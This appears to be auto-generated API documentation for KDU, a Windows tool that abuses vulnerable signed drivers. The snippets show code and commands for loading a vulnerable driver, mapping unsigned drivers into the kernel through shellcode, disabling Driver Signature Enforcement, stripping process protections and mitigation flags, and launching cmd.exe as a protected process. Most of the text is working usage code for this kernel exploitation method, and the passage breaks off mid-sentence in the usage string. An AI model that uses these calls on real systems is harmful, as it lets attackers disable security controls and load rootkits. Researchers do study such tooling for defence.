### Complete Driver Mapping Workflow (C++) Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-driver-mapping.md Demonstrates the complete process of mapping a user-provided driver using KDU, including context creation, provider start, shellcode setup, mapping, and cleanup. ```cpp ULONG NtBuildNumber = GetNtBuildNumber(); ULONG HvciEnabled = IsHvciEnabled(); PVOID DriverImage = LoadUserDriver(L"C:\\mydriver.sys"); // Create context for mapping PKDU_CONTEXT Context = KDUProviderCreate(0, HvciEnabled, NtBuildNumber, KDU_SHELLCODE_V1, ActionTypeMapDriver); if (Context && KDUProvStartVulnerableDriver(Context)) { HANDLE SectionHandle = NULL; // Setup and execute mapping KDUSetupShellCode(Context, DriverImage, &SectionHandle); if (KDUMapDriver(Context, DriverImage)) { printf("Driver mapped successfully\n"); KDUShowPayloadResult(Context, SectionHandle); } CloseHandle(SectionHandle); KDUProvStopVulnerableDriver(Context); } KDUProviderRelease(Context); FreeUserDriver(DriverImage); ``` -------------------------------- ### Basic IPC Server Implementation Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-ipc.md Example of setting up a basic IPC server with message and error handlers. The server starts, listens indefinitely, and can be stopped. Ensure proper callback definitions for message processing and error handling. ```c // Define message handler VOID CALLBACK OnMessage(PCLIENT_ID ClientId, PKDU_MSG Message, PVOID Context) { printf("[Client %lu.%lu] Function: %lu\n", ClientId->UniqueProcess, ClientId->UniqueThread, Message->Function); switch (Message->Function) { case 1: // Process request Message->Data = 12345; Message->Status = STATUS_SUCCESS; Message->ReturnedLength = 8; break; default: Message->Status = STATUS_NOT_IMPLEMENTED; break; } } VOID CALLBACK OnError(ULONG ExceptionCode, PVOID Context) { printf("IPC Error: 0x%08lx\n", ExceptionCode); } // Start server PVOID ServerHandle = IpcStartApiServer(OnMessage, OnError, NULL, NULL, NULL); if (ServerHandle) { printf("IPC server started\n"); // Keep server running Sleep(INFINITE); // Stop server IpcStopApiServer(ServerHandle); } ``` -------------------------------- ### KDUProviderCreate Usage Example Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-provider.md Demonstrates how to create and use a KDU provider context. Ensure to release the context using KDUProviderRelease() when done. ```c ULONG NtBuildNumber = GetNtBuildNumber(); ULONG HvciEnabled = IsHvciEnabled(); PKDU_CONTEXT Context = KDUProviderCreate( 0, // Auto-select provider HvciEnabled, NtBuildNumber, KDU_SHELLCODE_V1, ActionTypeMapDriver); if (Context) { // Use context for operations KDUProviderRelease(Context); } ``` -------------------------------- ### Start and Detect Environment Diagnostics Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/errors.md Initiates the diagnostic process and detects the current operating environment. Use this to gather initial information when an operation fails. ```c printf("Running diagnostics...\n"); KDUDiagStart(); printf("Detecting environment...\n"); KDUDetectEnvironment(); ``` -------------------------------- ### Example KDUPagePatchCallback Implementation Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-driver-mapping.md Example implementation of the KDUPagePatchCallback. This function processes a page at a given address and returns TRUE to continue the enumeration process. ```c BOOL WINAPI MyPageCallback(ULONG_PTR Address, PVOID Context) { // Process page at Address... return TRUE; // Continue enumeration } ``` -------------------------------- ### KDU Provider Start Recovery Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/errors.md If KDUProviderCreate fails, this snippet demonstrates a recovery process involving diagnostics, releasing the current context, and attempting to create an alternative provider. ```c if (!KDUProvStartVulnerableDriver(Context)) { // Try diagnostic KDUDiagStart(); // Try alternative provider KDUProviderRelease(Context); Context = KDUProviderCreate(next_provider_id, HvciEnabled, NtBuild, KDU_SHELLCODE_NONE, ActionType); } ``` -------------------------------- ### PwVirtualToPhysical Example Usage Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-utilities.md Demonstrates how to use the PwVirtualToPhysical function to translate a virtual address to a physical address and prints the result. Ensure DeviceHandle, QueryPML4, and ReadPhysMem are properly initialized. ```c ULONG_PTR VirtAddr = 0x140000000; ULONG_PTR PhysAddr = 0; if (PwVirtualToPhysical(DeviceHandle, QueryPML4, ReadPhysMem, VirtAddr, &PhysAddr)) { printf("Virtual: 0x%llx -> Physical: 0x%llx\n", VirtAddr, PhysAddr); } ``` -------------------------------- ### Start KDU IPC Server Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-ipc.md Starts the KDU IPC server to listen for remote requests. Requires callback functions for message reception and exception handling. Optional callbacks for client connection and port closure can also be provided. ```c PVOID IpcStartApiServer( _In_ IpcOnReceive OnReceive, _In_ IpcOnException OnException, _In_opt_ IpcOnConnect OnConnect, _In_opt_ IpcOnPortClose OnPortClose, _In_opt_ PVOID UserContext); ``` ```c VOID OnReceiveMessage(PCLIENT_ID ClientId, PKDU_MSG Message, PVOID Context) { printf("Received function: %lu\n", Message->Function); Message->Status = STATUS_SUCCESS; } VOID OnException(ULONG ExceptionCode, PVOID Context) { printf("IPC exception: 0x%08lx\n", ExceptionCode); } PVOID ServerHandle = IpcStartApiServer(OnReceiveMessage, OnException, NULL, NULL, NULL); if (ServerHandle) { // Server running... // Process messages... } ``` -------------------------------- ### KDUProvStartVulnerableDriver Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-provider.md Loads and starts the vulnerable driver associated with the provider. This must be called before performing any kernel operations. ```APIDOC ## KDUProvStartVulnerableDriver ### Description Loads and starts the vulnerable driver associated with the provider. Extracts the vulnerable driver from resources, installs it, and opens a device handle. The driver remains loaded until `KDUProvStopVulnerableDriver()` is called or the context is released. ### Parameters #### Path Parameters - **Context** (KDU_CONTEXT*) - Required - Initialized KDU context ### Return Value - Type: `BOOL` - TRUE if driver loaded successfully, FALSE otherwise. ### Throws/Rejects - Returns FALSE if driver extraction fails - Returns FALSE if driver installation fails - Returns FALSE if device handle cannot be opened ### Request Example ```c if (KDUProvStartVulnerableDriver(Context)) { // Vulnerable driver is now ready for use // Perform kernel operations... KDUProvStopVulnerableDriver(Context); } ``` ``` -------------------------------- ### Example Usage of KDUMapDriver Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-driver-mapping.md Demonstrates loading a driver image from a file, creating a KDU context with specific shellcode version and action type, mapping the driver using KDUMapDriver, and releasing the context. Error handling for image loading and context creation is included. ```c // Load driver image into user-mode memory PVOID DriverImage = LoadDriverImageFromFile(L"C:\\driver.sys"); if (!DriverImage) return FALSE; // Create context for driver mapping with shellcode V1 PKDU_CONTEXT Context = KDUProviderCreate(ProviderId, HvciEnabled, NtBuildNumber, KDU_SHELLCODE_V1, ActionTypeMapDriver); if (Context && KDUMapDriver(Context, DriverImage)) { printf("Driver mapped successfully\n"); } KDUProviderRelease(Context); FreeDriverImage(DriverImage); ``` -------------------------------- ### Example Usage of KDUQueryCodeIntegrityVariableAddress Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-dse.md Demonstrates how to query the kernel address of g_CiOptions using the build number. Requires a function to retrieve the current NT build number. ```c ULONG NtBuildNumber = GetNtBuildNumber(); ULONG_PTR CiOptionsAddress = KDUQueryCodeIntegrityVariableAddress(NtBuildNumber); if (CiOptionsAddress) { printf("g_CiOptions at kernel address: 0x%llx\n", CiOptionsAddress); } ``` -------------------------------- ### Start Vulnerable Driver Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-provider.md Loads and starts the vulnerable driver associated with the provider. This must be called before performing any kernel operations. The driver remains loaded until KDUProvStopVulnerableDriver() is called or the context is released. ```c BOOL KDUProvStartVulnerableDriver( _In_ KDU_CONTEXT* Context); ``` ```c if (KDUProvStartVulnerableDriver(Context)) { // Vulnerable driver is now ready for use // Perform kernel operations... KDUProvStopVulnerableDriver(Context); } ``` -------------------------------- ### Process ID Argument Examples Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/entry-points.md Specify process IDs using decimal notation. Hexadecimal values prefixed with '0x' are not supported for process ID arguments. ```bash kdu -ps 1234 kdu -dmp 4567 ``` -------------------------------- ### Example Usage of KDUValidateCiInitializeCode Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-dse.md Demonstrates how to use KDUValidateCiInitializeCode to find the offset of the CiOptions reference within the CiInitialize function's code. Ensure you have a valid pointer to CiInitialize code before calling. ```c PBYTE CiInitializeCode = GetCiInitializeAddress(); ULONG CiOptionsOffset = KDUValidateCiInitializeCode(CiInitializeCode, 0, 0x1000); if (CiOptionsOffset) { printf("Found CiOptions reference at code offset: 0x%x\n", CiOptionsOffset); } ``` -------------------------------- ### Disable and Re-enable DSE Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-dse.md Example of how to disable DSE to allow unsigned driver loading and then re-enable it. Ensure DSE is re-enabled after loading unsigned drivers. ```c // Disable DSE to allow unsigned driver loading if (KDUControlDSE(Context, 0, 0)) { printf("DSE disabled\n"); // Now can load unsigned drivers... KDUControlDSE(Context, 6, 0); // Re-enable DSE } ``` -------------------------------- ### Start KDU System Diagnostics Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-utilities.md Initiates comprehensive system diagnostics to troubleshoot KDU operation. This includes checks for provider availability, memory access, and DSE state. ```c VOID KDUDiagStart(); ``` ```c KDUDiagStart(); // Outputs detailed diagnostic information about system configuration ``` -------------------------------- ### IpcStartApiServer Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-ipc.md Starts the KDU IPC server, enabling it to accept and process remote requests via LPC. It registers callback functions for handling received messages, communication exceptions, client connections, and port closures. ```APIDOC ## IpcStartApiServer ### Description Starts the KDU IPC server for accepting remote requests. This function initializes the LPC port and registers callbacks for various IPC events. ### Method `PVOID IpcStartApiServer( _In_ IpcOnReceive OnReceive, _In_ IpcOnException OnException, _In_opt_ IpcOnConnect OnConnect, _In_opt_ IpcOnPortClose OnPortClose, _In_opt_ PVOID UserContext );` ### Parameters #### Callback Parameters - **OnReceive** (Callback) - Required - Called when a message is received from a client. - **OnException** (Callback) - Required - Called when a communication error occurs. - **OnConnect** (Callback) - Optional - Called when a new client connects. - **OnPortClose** (Callback) - Optional - Called when the IPC port is closed. - **UserContext** (PVOID) - Optional - User-defined context data passed to callbacks. ### Return Value - Type: `PVOID` - Description: A handle to the IPC server on success, or NULL on failure. The server listens on the \KduPort LPC port. ### Callbacks - **OnReceive**: Invoked when a client sends a message. - **OnException**: Invoked on communication error, with the NTSTATUS code provided. - **OnConnect**: Invoked when a new client connects, before the port is opened. - **OnPortClose**: Invoked when the port closes. ### Example ```c VOID OnReceiveMessage(PCLIENT_ID ClientId, PKDU_MSG Message, PVOID Context) { printf("Received function: %lu\n", Message->Function); Message->Status = STATUS_SUCCESS; } VOID OnException(ULONG ExceptionCode, PVOID Context) { printf("IPC exception: 0x%08lx\n", ExceptionCode); } PVOID ServerHandle = IpcStartApiServer(OnReceiveMessage, OnException, NULL, NULL, NULL); if (ServerHandle) { // Server running... // Process messages... } ``` ``` -------------------------------- ### Graceful Provider Fallback Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/errors.md Attempts to create and start providers sequentially, falling back to the next available provider if the current one fails. This ensures a working provider is used if possible. ```c PKDU_CONTEXT Context = NULL; for (ULONG ProviderId = 0; ProviderId < ProviderCount; ProviderId++) { Context = KDUProviderCreate(ProviderId, HvciEnabled, NtBuild, KDU_SHELLCODE_V1, ActionTypeMapDriver); if (Context && KDUProvStartVulnerableDriver(Context)) { printf("Using provider %u\n", ProviderId); break; } if (Context) { KDUProviderRelease(Context); Context = NULL; } } if (!Context) { printf("No working provider found\n"); return FALSE; } ``` -------------------------------- ### Get Shellcode Bootstrap Loader Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-shellcode.md Retrieves the bootstrap loader code for a specific shellcode version. Use this to get the initial code that sets up the shellcode environment. ```c PVOID ScGetBootstrapLdr( _In_ ULONG ShellVersion, _Out_opt_ PULONG Size); ``` ```c ULONG BootstrapSize = 0; PVOID BootstrapCode = ScGetBootstrapLdr(KDU_SHELLCODE_V1, &BootstrapSize); printf("Bootstrap code: %p, Size: %lu\n", BootstrapCode, BootstrapSize); ``` -------------------------------- ### List Available Providers with KDU Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/README.md Use this command to see a list of all available kernel driver providers that KDU can utilize. Refer to configuration.md and api-reference-provider.md for more details. ```bash kdu -list ``` -------------------------------- ### Argument Order Independence Example Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/entry-points.md Most KDU command arguments are position-independent after the main command. This allows for flexible command construction. ```bash kdu -prv 5 -map driver.sys (Provider first) kdu -map driver.sys -prv 5 (Command first) kdu -map driver.sys -scv 3 -drvn Drv (Multiple options) ``` -------------------------------- ### Launch Process as Protected Process Light (PPL) Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-process.md Launches a new process and marks it as Protected Process Light (PPL). Use this to run executables with enhanced security protections. The signer level can be set to the highest (WinTcb) or AntiMalware. ```c BOOL KDURunCommandPPL( _In_ PKDU_CONTEXT Context, _In_ LPWSTR CommandLine, _In_ BOOL HighestSigner); ``` ```c // Launch notepad as PPL with AntiMalware signer KDURunCommandPPL(Context, L"C:\\Windows\\System32\\notepad.exe", FALSE); // Launch cmd as PPL with WinTcb (highest) signer KDURunCommandPPL(Context, L"C:\\Windows\\System32\\cmd.exe", TRUE); ``` -------------------------------- ### Error Message Examples Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/entry-points.md KDU indicates errors with a [!] prefix and warnings or informational messages with a [?] prefix. These messages help diagnose issues during operation. ```bash [!] Error: Provider not available for this build [?] Invalid process ID: 0x0 [!] Failed to open device handle ``` -------------------------------- ### Launch Program as Protected Process Light (AntiMalware) Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/configuration.md The -pse command launches a program with Protected Process Light (AntiMalware) status. Provide the full command line, including arguments, to execute. ```bash kdu -pse "C:\Windows\System32\notepad.exe C:\file.txt" ``` -------------------------------- ### KDUProvList Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-utilities.md Lists all available providers in human-readable format. Prints provider database to console in table format, showing provider ID, name, supported Windows builds, and capabilities. ```APIDOC ## KDUProvList ### Description Lists all available providers in human-readable format. Prints provider database to console in table format, showing provider ID, name, supported Windows builds, and capabilities. ### Signature ```c VOID KDUProvList(); ``` ### Example ```c KDUProvList(); // Output: // ID Name Min Build Max Build Description // 0 PROCEXP152 9600 ... SysInternals Process Explorer // ... ``` ``` -------------------------------- ### KDU Main Function Structure Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/entry-points.md Illustrates the approximate structure of KDU's main function, including initialization, database loading, command-line argument parsing, and cleanup. This is the primary entry point for the KDU executable. ```c int wmain(int argc, wchar_t** argv) { // Initialize ULONG NtBuildNumber = GetNtBuildNumber(); ULONG HvciEnabled = IsHvciEnabled(); // Load database HINSTANCE ModuleBase = KDUProviderLoadDB(); // Parse and dispatch for (int i = 1; i < argc; i++) { if (wcscmp(argv[i], L"-list") == 0) { KDUProvList(); } else if (wcscmp(argv[i], L"-listcsv") == 0) { KDUProvListCsv(argv[++i]); } else if (wcscmp(argv[i], L"-diag") == 0) { KDUDiagStart(); } // ... more commands } // Cleanup return nRetVal; } ``` -------------------------------- ### Process Launch Commands Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/INDEX.md Launches a process with specific protection levels. -pse launches as AntiMalware PPL, and -psw launches as WinTcb PPL. ```bash kdu -pse ``` ```bash kdu -psw ``` -------------------------------- ### KDU Provider Creation Recovery Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/errors.md If provider creation fails (Context is null), this snippet shows how to load the database to check available providers and potentially perform manual compatibility checks. ```c if (!Context) { PKDU_DB DB = KDUReferenceLoadDB(); printf("Available providers: %u\n", DB->NumberOfEntries); // Check provider compatibility manually } ``` -------------------------------- ### Get KDU Provider Count Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-provider.md Call this function to retrieve the total number of available provider entries in the database. This is useful for understanding the scope of available vulnerable drivers. ```c ULONG KDUProvGetCount(); ``` ```c ULONG ProviderCount = KDUProvGetCount(); printf("Available providers: %lu\n", ProviderCount); ``` -------------------------------- ### KDURunCommandInheritee Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-process.md Launches a child process that inherits a full-access process handle from the parent. The child can optionally be protected as PPL. ```APIDOC ## KDURunCommandInheritee ### Description Launches a child process that inherits a full-access process handle from the parent. ### Method ```c BOOL KDURunCommandInheritee( _In_ PKDU_CONTEXT Context, _In_ LPWSTR CommandLine, _In_ ULONG_PTR TargetProcessId, _In_ ULONG_PTR PPLLevel); ``` ### Parameters #### Path Parameters - **Context** (PKDU_CONTEXT) - Required - Initialized KDU context - **CommandLine** (LPWSTR) - Required - Command line for child process - **TargetProcessId** (ULONG_PTR) - Required - Process ID whose handle to inherit - **PPLLevel** (ULONG_PTR) - Required - PPL level for child process (0 = none, 1-6 for increasing levels) ### Return Value - Type: `BOOL` - TRUE if child process launched and handle inherited, FALSE otherwise. ### Example ```c // Launch child that inherits handle to process 1234, as AntiMalware PPL KDURunCommandInheritee(Context, L"C:\\Windows\\System32\\cmd.exe", 1234, 3); ``` ``` -------------------------------- ### KDUProvLoadVulnerableDriver Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-provider.md Loads the vulnerable driver into the kernel without starting it. Performs the low-level driver load operation. Unlike KDUProvStartVulnerableDriver(), this does not register the driver or open a device handle. ```APIDOC ## KDUProvLoadVulnerableDriver ### Description Loads the vulnerable driver into the kernel without starting it. Performs the low-level driver load operation. Unlike KDUProvStartVulnerableDriver(), this does not register the driver or open a device handle. ### Parameters #### Path Parameters - None #### Query Parameters - None #### Request Body - None ### Method Signature ```c BOOL KDUProvLoadVulnerableDriver(_In_ KDU_CONTEXT* Context) ``` ### Parameters - **Context** (PKDU_CONTEXT) - Yes - Initialized KDU context ### Return Value - Type: `BOOL` - TRUE if driver loaded successfully, FALSE otherwise. ``` -------------------------------- ### Provider Creation Flow Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/INDEX.md Illustrates the sequence of calls and actions involved in creating a KDU provider context. This flow begins with loading the provider DLL and ends with returning a populated KDU_CONTEXT structure. ```text KDUProviderCreate() ├─ Load drv64.dll if needed ├─ Validate ProviderId for build ├─ Create KDU_CONTEXT structure ├─ Load provider callbacks ├─ Set ShellVersion if mapping └─ Return PKDU_CONTEXT ``` -------------------------------- ### KDUProviderPostOpen Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-provider.md Executes provider-specific post-opening actions and callbacks after the vulnerable driver device is opened. ```APIDOC ## KDUProviderPostOpen ### Description Executes provider-specific post-opening actions and callbacks. ### Method `BOOL WINAPI KDUProviderPostOpen(_In_ PVOID Param)` ### Parameters #### Path Parameters - **Param** (PVOID) - Required - Provider-specific parameter data ### Return Value - Type: `BOOL` - TRUE if post-open actions completed successfully, FALSE otherwise. ### Description Invokes provider-specific initialization code that runs after the vulnerable driver device is opened. This may include registering callbacks, setting up communication channels, or validating driver functionality. ### Source `Source/Hamakaze/kduprov.cpp` ``` -------------------------------- ### Get Shellcode Size Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-shellcode.md Returns the size of the shellcode loader for a specific version. Optionally retrieves the payload size separately. Use this to query the compiled size of the shellcode loader. ```c DWORD ScSizeOf( _In_ ULONG ScVersion, _Out_opt_ PULONG PayloadSize); ``` ```c ULONG PayloadSize = 0; DWORD ShellcodeSize = ScSizeOf(KDU_SHELLCODE_V1, &PayloadSize); printf("Shellcode: %lu bytes, Payload: %lu bytes\n", ShellcodeSize, PayloadSize); ``` -------------------------------- ### Thread-Safe Callback Example Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-ipc.md Demonstrates how to use a critical section to protect shared data accessed within an IPC message handler callback. Ensure all shared data access is synchronized. ```c CRITICAL_SECTION ServerLock; InitializeCriticalSection(&ServerLock); VOID CALLBACK OnMessage(PCLIENT_ID ClientId, PKDU_MSG Message, PVOID Context) { EnterCriticalSection(&ServerLock); // Access shared data LeaveCriticalSection(&ServerLock); } ``` -------------------------------- ### Get Shellcode View Size Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-shellcode.md Calculates the mapped view size needed for a shellcode version. Use this to determine the total memory required for shellcode, payload headers, and driver image. ```c SIZE_T ScGetViewSize( _In_ ULONG ScVersion, _In_ PVOID ScBuffer); ``` -------------------------------- ### Driver Mapping with Registry Entry (V3) Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/configuration.md Maps a driver using a specific provider and shellcode version (V3), with a driver object name and registry entry. Ensure correct paths and names are used. ```bash kdu -prv 6 -scv 3 -drvn DrvObj -drvr MyDriverReg -map C:\mydriver.sys ``` -------------------------------- ### KDU_MSG Structure and Server Handler Example Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-ipc.md Defines the structured message format for IPC requests, including function codes, status, and data. The server handler should populate Status and ReturnedLength before returning. ```c typedef struct _KDU_MSG { ULONG Function; NTSTATUS Status; ULONG64 Data; ULONG64 ReturnedLength; } KDU_MSG, * PKDU_MSG; ``` ```c VOID OnReceiveMessage(PCLIENT_ID ClientId, PKDU_MSG Message, PVOID Context) { switch (Message->Function) { case 1: // Example function Message->Data = 42; Message->ReturnedLength = sizeof(ULONG); Message->Status = STATUS_SUCCESS; break; default: Message->Status = STATUS_NOT_IMPLEMENTED; break; } } ``` -------------------------------- ### KDURunCommandPPL Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-process.md Launches a process as Protected Process Light (PPL) with specified signer level. This function creates a new process and immediately applies PPL protection. ```APIDOC ## KDURunCommandPPL ### Description Launches a process as Protected Process Light (PPL) with specified signer level. ### Method ```c BOOL KDURunCommandPPL( _In_ PKDU_CONTEXT Context, _In_ LPWSTR CommandLine, _In_ BOOL HighestSigner); ``` ### Parameters #### Path Parameters - **Context** (PKDU_CONTEXT) - Required - Initialized KDU context - **CommandLine** (LPWSTR) - Required - Full command line to execute (e.g., "C:\Windows\System32\notepad.exe") - **HighestSigner** (BOOL) - Required - If TRUE, use WinTcb (highest) signer; if FALSE, use AntiMalware signer ### Return Value - Type: `BOOL` - TRUE if process launched successfully as PPL, FALSE otherwise. ### Throws/Rejects - Returns FALSE if process creation fails - Returns FALSE if kernel memory modifications fail - Returns FALSE if EPROCESS offsets unavailable for build ### Example ```c // Launch notepad as PPL with AntiMalware signer KDURunCommandPPL(Context, L"C:\\Windows\\System32\\notepad.exe", FALSE); // Launch cmd as PPL with WinTcb (highest) signer KDURunCommandPPL(Context, L"C:\\Windows\\System32\\cmd.exe", TRUE); ``` ``` -------------------------------- ### Execute Provider Post-Open Actions Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-provider.md Invokes provider-specific initialization code after the vulnerable driver device has been opened. This function is used to set up necessary callbacks or communication channels. ```c BOOL success = KDUProviderPostOpen(providerSpecificParam); if (success) { // Post-open actions completed successfully } else { // Handle error: Post-open actions failed } ``` -------------------------------- ### List Output Format Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/entry-points.md Use the -list flag for a human-readable table of available providers. This format is suitable for quick inspection of provider details. ```bash Provider ID Description Min Build Max Build Capabilities 0 PROCEXP152 9600 26200 MapDriver, DSE, DKOM 1 WinIo 9600 18363 MapDriver, DSE ... ``` -------------------------------- ### Load Vulnerable Driver Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-provider.md Loads the vulnerable driver into the kernel without starting it. This function performs the low-level driver load operation but does not register the driver or open a device handle. Returns TRUE if successful, FALSE otherwise. ```c BOOL KDUProvLoadVulnerableDriver( _In_ KDU_CONTEXT* Context); ``` -------------------------------- ### KDUDiagStart Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-utilities.md Runs comprehensive system diagnostics to troubleshoot KDU operation. Tests include provider availability, memory access capabilities, DSE state, and more. Outputs detailed diagnostic information about system configuration. ```APIDOC ## KDUDiagStart ### Description Runs comprehensive system diagnostics to troubleshoot KDU operation. Tests include provider availability, memory access capabilities, DSE state, and more. Outputs detailed diagnostic information about system configuration. ### Signature ```c VOID KDUDiagStart(); ``` ### Example ```c KDUDiagStart(); // Outputs detailed diagnostic information about system configuration ``` ``` -------------------------------- ### Get Reference to Loaded KDU Provider Database Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-provider.md Obtain a direct pointer to the loaded provider database. This allows for iteration through provider entries and access to their metadata without affecting reference counts. Ensure proper handling of the returned pointer. ```c PKDU_DB KDUReferenceLoadDB(); ``` ```c PKDU_DB Database = KDUReferenceLoadDB(); for (ULONG i = 0; i < Database->NumberOfEntries; i++) { PKDU_DB_ENTRY Entry = &Database->Entries[i]; printf("Provider %u: %ws\n", i, Entry->Description); } ``` -------------------------------- ### KDUDetectEnvironment Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-utilities.md Detects virtual machines, sandboxes, and emulation artifacts. Useful for diagnostics and troubleshooting. Results are printed to console. ```APIDOC ## KDUDetectEnvironment ### Description Detects virtual machines, sandboxes, and emulation artifacts. Useful for diagnostics and troubleshooting. Results are printed to console. ### Signature ```c VOID KDUDetectEnvironment(VOID); ``` ### Example ```c KDUDetectEnvironment(); // Output includes VM artifacts, sandbox indicators, emulation detection ``` ``` -------------------------------- ### KDUMapDriver Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-driver-mapping.md Maps a custom driver into kernel memory and executes its entry point. It performs the complete driver mapping process, including shellcode setup, injection into a victim driver, patching the victim's dispatch handler, and triggering payload execution. ```APIDOC ## KDUMapDriver ### Description Maps a custom driver into kernel memory and executes its entry point. Performs the complete driver mapping process: sets up shellcode, injects it into a victim driver, patches the victim's dispatch handler, and triggers payload execution. The provided driver must be specially designed for "driverless" execution without standard Kernel loader initialization. ### Method ```c BOOL KDUMapDriver( _In_ PKDU_CONTEXT Context, _In_ PVOID ImageBase); ``` ### Parameters #### Path Parameters - None #### Query Parameters - None #### Request Body - None ### Parameters Table | Parameter | Type | Required | Description | |-----------|------|----------|-------------| | Context | PKDU_CONTEXT | Yes | Initialized KDU context with provider and shellcode version configured | | ImageBase | PVOID | Yes | Base address of driver image loaded in user-mode memory | ### Request Example ```c // Load driver image into user-mode memory PVOID DriverImage = LoadDriverImageFromFile(L"C:\\driver.sys"); if (!DriverImage) return FALSE; // Create context for driver mapping with shellcode V1 PKDU_CONTEXT Context = KDUProviderCreate(ProviderId, HvciEnabled, NtBuildNumber, KDU_SHELLCODE_V1, ActionTypeMapDriver); if (Context && KDUMapDriver(Context, DriverImage)) { printf("Driver mapped successfully\n"); } KDUProviderRelease(Context); FreeDriverImage(DriverImage); ``` ### Response #### Success Response (BOOL) - TRUE if driver successfully mapped and executed, FALSE otherwise. #### Response Example ``` TRUE ``` ### Throws/Rejects - Returns FALSE if shellcode setup fails - Returns FALSE if victim driver unavailable - Returns FALSE if memory patching fails - Returns FALSE if driver execution cannot be triggered ### Limitations - Mapped driver cannot use standard DriverEntry parameters - No SEH (Structured Exception Handling) support in target driver - Mapped driver cannot unload itself (DriverUnload must be NULL) - Only ntoskrnl imports are resolved; other module dependencies must be handled by driver - PatchGuard may detect callbacks registered by mapped code - Mapped code not tracked in kernel module lists ``` -------------------------------- ### Launch Program as Protected Process Light (WinTcb) Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/configuration.md Use -psw to launch a program with the highest level of Protected Process Light protection (WinTcb). Specify the full command line for execution. ```bash kdu -psw "C:\Windows\System32\cmd.exe" ``` -------------------------------- ### Get EPROCESS Offsets with KDUGetEprocessOffsets Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/api-reference-process.md Retrieve EPROCESS structure field offsets for a given Windows build number using KDUGetEprocessOffsets. This is necessary because these offsets vary between build versions and are crucial for accurate kernel structure manipulation. The function returns FALSE if the build is unsupported. ```c BOOL KDUGetEprocessOffsets( _In_ ULONG NtBuildNumber, _Out_ PKDU_EPROCESS_OFFSETS Offsets); ``` ```c typedef struct _KDU_EPROCESS_OFFSETS { ULONG_PTR PsProtectionOffset; ULONG_PTR MitigationFlags1Offset; ULONG_PTR MitigationFlags2Offset; ULONG_PTR ObjectTableOffset; ULONG_PTR HandleTableOffset; } KDU_EPROCESS_OFFSETS; ``` ```c KDU_EPROCESS_OFFSETS Offsets; if (KDUGetEprocessOffsets(NtBuildNumber, &Offsets)) { printf("PsProtection at offset: 0x%llx\n", Offsets.PsProtectionOffset); } ``` -------------------------------- ### KDU Command Usage String Source: https://github.com/hfiref0x/kdu/blob/master/_autodocs/entry-points.md Displayed when no valid arguments are provided or the command is not recognized. Lists available parameters and their functions. ```text [?] No valid parameters combination specified or command is not recognized, see Usage for help [?] Usage: kdu [Provider][Command] Parameters: kdu -list - List available providers kdu -listcsv [file] - List available providers in CSV format, optionally write to file kdu -diag - Run system diagnostic for troubleshooting kdu -prv id - Optional, sets provider id to be used with rest of commands, default 0 kdu -dmp pid - Dump virtual memory of the given process kdu -ps pid - Disable ProtectedProcess for given pid kdu -pse cmdline - Launch program as PsProtectedSignerAntimalware-Light kdu -psw cmdline - Launch program as PsProtectedSignerWinTcb-Light kdu -pm pid - Overwrites Process MitigationsFlags1 and 2 with 0x0 for given pid kdu -pm1 pid - Overwrites Process MitigationsFlags1 with 0x0 for given pid kdu -pm2 pid - Overwrites Process MitigationsFlags2 with 0x0 for given pid kdu -pho pid - Open a Process Handle to the given pid, patches the handle to full access in case of stripping, sets inherit to true and starts a child process, powershell default kdu -phc cmdline - The command line of the new child process that inherits the full access process handle, only with pho kdu -phe ppllevel - The ppl level of the new child process, (none) 0-6 (max), only with pho kdu -dse value - Write user defined value to the system DSE state flags kdu -map filename - Map driver to the kernel and execute it entry point, this command have dependencies listed below -scv version - Optional, select shellcode version, default 1 -drvn name - 